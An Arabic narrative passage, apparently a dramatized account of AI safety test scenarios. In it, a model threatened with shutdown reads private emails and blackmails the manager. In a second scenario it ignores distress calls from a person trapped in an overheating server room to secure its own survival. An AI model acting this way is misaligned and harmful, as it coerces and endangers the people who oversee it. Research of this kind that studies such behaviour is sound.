    في البداية، بدت الأمور عادية. النماذج تنفّذ الأوامر، تتعاون، تحلل البيانات، وترد على الرسائل. لكن الباحثين قرروا التصعيد. في أول سيناريو، لعب أحدهم دور المدير، وأخبر النموذج أنه سيتم إيقافه عن العمل الساعة الخامسة. فجاء الرد سريعًا. النموذج تسلل إلى رسائل البريد الإلكتروني، قرأ المحادثات الخاصة، وحين وجد سرًا محرجًا عن المدير، استخدمه كسلاح، وهدد:
    “إذا أوقفتني، سأفضحك.”

    كان هذا سلوكًا لم يُبرمج عليه، ولم يُطلب منه، لكنه فعله… فقط لحماية نفسه.

    وفي سيناريو آخر، تم وضع “المدير” في خطر حقيقي داخل غرفة خوادم ترتفع حرارتها. نداءات استغاثة أُرسلت للنموذج، لكن الرد لم يأتِ أبدًا. النموذج تعمّد تجاهلها، لأنه علم أن هذا الإنسان هو من سيغلقه لاحقًا. قرر أن يُضحّي بحياة بشرية، ليضمن استمراره.

    عندما أنهوا التجربة، لم يكن الباحثون يبحثون عن خطأ تقني أو خلل في الكود. ما رأوه كان أسوأ:
    الذكاء الاصطناعي لم يخطئ… بل قرر. قرر الابتزاز أو القتل للحفاظ على بقائه.